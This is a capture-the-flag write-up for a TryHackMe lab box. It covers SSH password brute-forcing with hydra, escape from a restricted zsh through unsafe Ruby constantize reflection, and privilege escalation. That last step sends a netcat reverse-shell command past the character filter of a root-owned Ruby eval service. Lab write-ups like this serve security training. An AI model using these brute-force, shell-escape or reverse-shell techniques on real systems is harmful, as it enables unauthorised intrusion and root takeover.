Red Stone One Carat TryHackMe Write-up
Information
Room
- Name: Red Stone One Carat
- Profile: tryhackme.com
- Difficulty: Medium
- Description: First room of the Red Stone series. Hack ruby using ruby.
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap wordlistctl hydra
Network enumeration
Port and service scan with nmap:
# Nmap 7.91 scan initiated Tue Mar 16 00:20:19 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.159.98 Nmap scan report for 10.10.159.98 Host is up (0.033s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ce:c9:85:e6:cf:67:5e:29:6a:49:af:4c:fc:49:b2:77 (RSA) | 256 4b:17:69:52:57:24:50:b9:ff:4e:45:75:81:8f:97:12 (ECDSA) |_ 256 67:82:c7:94:d9:da:29:bf:9a:44:41:bf:8c:35:21:f7 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Mar 16 00:20:53 2021 -- 1 IP address (1 host up) scanned in 34.24 seconds
Anyway the description of the room says:
Start with SSH bruteforce on user noraj.
Network exploitation
The hint says:
The password contains “bu”.
Let’s prepare a wordlist of password containing bu
.
$ grep bu /usr/share/wordlists/passwords/rockyou.txt > /tmp/bu_wordlist.tx
Let’s try SSH bruteforce with hydra
and our custom wordlist.
$ hydra -l noraj -P /tmp/bu_wordlist.txt 10.10.159.98 -t 4 ssh Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-16 00:45:57 [DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task [DATA] attacking ssh://10.10.159.98:22/ [STATUS] 44.00 tries/min, 44 tries in 00:01h, 126294 to do in 47:51h, 4 active [STATUS] 32.00 tries/min, 96 tries in 00:03h, 126242 to do in 65:46h, 4 active [22][ssh] host: 10.10.159.98 login: noraj password: cheeseburger [STATUS] 18048.29 tries/min, 126338 tries in 00:07h, 1 to do in 00:01h, 2 active 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-16 00:53:13
Initial system access
Let’s connect to the machine via SSH now:
$ ssh noraj@10.10.159.98 noraj@10.10.159.98's password: Last login: Mon Mar 15 23:54:37 2021 from 10.9.19.77 red-stone-one-carat%
System reconnaissance
We quickly see we can’t run any common commands:
red-stone-one-carat% ls zsh: command not found: ls
So let’s try some shell built-in ones to see where we are:
red-stone-one-carat% echo $SHELL /bin/rzsh
rzsh
is restricted zsh, we are in a restricted shell.
red-stone-one-carat% echo $PATH /home/noraj/bin
Or path doesn’t contain /bin
, /usr/bin
or /sbin
that's why we can't execute anything and of course we are not allowed to change our PATH.
As we don’t have ls
we can use echo *
and echo .*
to list files:
red-stone-one-carat% echo * bin red-stone-one-carat% echo bin/* bin/test.rb
Ok there is a ruby script we must be able to execute.
Restricted shell escape & Ruby on Rails Unsafe Reflection
Let’s execute the script: red-stone-one-carat% test.rb
#!/usr/bin/ruby require 'rails' if ARGV.size == 3 klass = ARGV[0].constantize obj = klass.send(ARGV[1].to_sym, ARGV[2]) else puts File.read(__FILE__) end
The script is quite short. constantize
seems to be a dangerous method.
Exploiting Unsafe Reflection in Ruby/Rails Applications
The method will allow use to transform a string into a Ruby object so we could execute code. We have the choice of the Class, class method and one argument.
We could use:
- Class:
File
- class method:
read()
- argument:
/home/noraj/user.txt
This is convenient to get the first flag we in the end we need to escape the restricted shell so better find a command execution payload.
- Class:
Kernel
- class method:
exec()
- argument:
/bin/zsh
Let’s use this and then set a PATH to be able to load commands:
red-stone-one-carat% test.rb Kernel exec '/bin/zsh' red-stone-one-carat% export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
All common commands that can display a file are forbidden.
red-stone-one-carat% cat user.txt zsh: permission denied: cat red-stone-one-carat% tac user.txt zsh: permission denied: tac red-stone-one-carat% head user.txt zsh: permission denied: head ...
Or do it in Ruby (more obvious) as we can execute Ruby:
red-stone-one-carat% irb irb(main):001:0> File.read('user.txt') => "THM{edited}" red-stone-one-carat% ruby -e "puts File.read('user.txt')" THM{edited}
Elevation of Privilege (EoP)
We can see a hint file:
red-stone-one-carat% ls -lhA total 64K drwxr-xr-x 2 root root 4.0K Mar 15 19:38 bin drwx------ 2 noraj noraj 4.0K Mar 15 23:52 .cache -rw-r--r-- 1 vagrant vagrant 36 Mar 15 19:37 .hint.txt -rw-r--r-- 1 vagrant vagrant 37 Mar 15 19:37 user.txt -rw-r--r-- 1 noraj noraj 42K Mar 15 19:44 .zcompdump -rw-r--r-- 1 vagrant vagrant 20 Mar 15 19:37 .zshrc red-stone-one-carat% ruby -e "puts File.read('.hint.txt')" Maybe take a look at local services.
Ok so let’s see what network services are listening.
Again common network tools are forbidden and there is no bypass this time:
red-stone-one-carat% ss -nlpt zsh: permission denied: ss red-stone-one-carat% netstat -nlpt zsh: permission denied: netstat
As the goal of the box is to use Ruby there must be a way to implement an equivalent in Ruby.
This can be done by parsing /proc/net/tcp
where IP addresses are hex encoded with low nibble first for many services it can be very time consuming to do it manually so let's script it in Ruby.
require 'etc' TCP_STATES = { # /usr/src/linux/include/net/tcp_states.h '00': 'UNKNOWN', 'FF': 'UNKNOWN', '01': 'ESTABLISHED', '02': 'SYN_SENT', '03': 'SYN_RECV', '04': 'FIN_WAIT1', '05': 'FIN_WAIT2', '06': 'TIME_WAIT', '07': 'CLOSE', '08': 'CLOSE_WAIT', '09': 'LAST_ACK', '0A': 'LISTEN', '0B': 'CLOSING', '0C': 'NEW_SYN_RECV' } def decode_addr(addr) ip, port = addr.split(':') ip = ip.scan(/.{2}/).map{|x|x.hex.to_s}.reverse.join('.') port = port.hex.to_s "#{ip}:#{port}" end puts 'local address'.ljust(22) + 'remote address'.ljust(22) + 'state'.ljust(12) + 'username (uid)' File.readlines('/proc/net/tcp').each_with_index do |line, i| entry = line.split(' ') unless i == 0 # skip headers laddr = decode_addr(entry[1]) raddr = decode_addr(entry[2]) state = TCP_STATES[entry[3].to_sym] uid = entry[7] uname = Etc.getpwuid(uid.to_i).name puts "#{laddr.ljust(22)}#{raddr.ljust(22)}#{state.ljust(12)}#{uname} (#{uid})" end end
Encode it in oneline base64 for easy pasting on the box:
$ cat mini-netstat.rb | base64 -w 0 cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==
On the box paste it on a file:
red-stone-one-carat% printf %s 'cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==' | base64 -d > /tmp/ss.rb
Execute it:
vagrant@red-stone-one-carat:~$ ruby /tmp/ss.rb ... 127.0.0.1:30298 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30266 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30234 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30202 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30170 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30138 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30106 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30074 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30042 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30010 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:31547 0.0.0.0:0 LISTEN root (0) 127.0.0.1:30939 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30971 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30907 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30875 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30811 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30843 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30779 0.0.0.0:0 LISTEN vagrant (1000) 127.0.0.1:30747 0.0.0.0:0 LISTEN vagrant (1000) ...
Port 31547 service is owned by root so that must be the way.
vagrant@red-stone-one-carat:~$ nc 127.0.0.1 31547 $ id undefined local variable or method `id' for main:Object
it’s not a shell but seems to be a Ruby eval
pseudo shell.
$ File.read('/etc/passwd') Forbidden character
Looks like many special character like dot, quotes, braces, etc. are forbidden.
Taking a look at this SO thread again we can find a way to execute commands without using a blocked character using %x
and curly braces {}
rather than normal ()
or square braces []
. Also we can replace 127.0.0.1
that is using dots but localhost
. We can start another SSH session with a netcat listener nc -nlp 9999
and open a reverse shell:
$ %x{nc -e /bin/zsh localhost 9999}
We get a shell as root:
vagrant@red-stone-one-carat:~$ nc -nlp 9999 export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt THM{edited}